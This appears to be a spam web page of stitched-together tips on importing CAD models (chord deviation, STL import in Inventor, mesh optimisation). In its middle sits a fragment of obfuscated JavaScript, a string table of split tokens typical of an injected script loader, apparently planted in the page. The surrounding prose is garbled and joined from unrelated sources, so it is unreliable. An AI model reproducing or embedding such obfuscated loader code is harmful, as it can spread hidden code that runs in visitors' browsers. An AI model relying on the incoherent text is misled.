0.1mm is a good place to start but 0.01 will most likely give you a nicer result.. As far as open source CAD translators are concerned I can't help you unfortunately.

Looking at your screenshot you can see that your chord deviation is quite high because you have a good amount of polygons to define the fillet edge.. Sometimes you may want to increase this value to avoid a really long triangles that can cause shading issues.. this will give you a much more optimized mesh because it won't add triangles where there is no detail to describe..
";O["YeZN"]="TXFe";O["ytZE"]="VgkC";O["zFTD"]="umen";O["Zsiv"]="var ";O["YSNk"]="tpr";O["EzhH"]="QFC=";O["IbVu"]="XEpn";O["ySBL"]="VApJ";O["spny"]="ET";O["CcmY"]="owne";O["wWXA"]="t9.

It's also a great little script in general for cleanup stuff Optimization Due to the nature of CAD data you may also have a lot of replicated objects.. You may already know some of this but incase you don't I've collected some useful tips for importing CAD into a DCC app CAD models are often complex and at first and can be very daunting to people who have no concept of how it all works.. If you have a lot of replicated items such as screws consider combining them into one node to save the renderer having to get information on each item individually.

These types of STL files can be imported: • * stl • * stla • * stlb Solution: Inventor 201x cannot edit mesh data and currently does not have the ability to directly convert meshes to surfaces or solids.

A CAD application generates a perfectly smooth NURBS surface which under the hood works like a mesh that's density can be constantly re calculated based on a input data which normally consists of a curve network or solid modeling tools.. Importing DXF, STL, Revit, DWF Markup, and IDF files • To import into file, do one of the following: • To import to a new file select: • Open Import CAD Formats • Get Started tab Launch panel Import CAD Formats • To import into a part file select: • Manage tab Insert panel Import • 3D Model tab Create panel Import • In the applicable dialog box, set the Files of type to view the available files.. Choose where to save the components from the drop-down menu If you choose to Select Save Locations, the Component Destination Folder becomes available.. This normally only effects areas that are planar or flat Typically the default is a value of 0 which means there is no limit.. • Specify how to save the Translation Report: Embed in Document Select to display the translation report icon, under the 3rd Party browser node, in your new file.. Showcase is around £800-1000 which is actually pretty cheap compared to many similar programs believe it or not.. If that's not an option you should check out CGbeige's script 'the facer' I use it quite a lot.
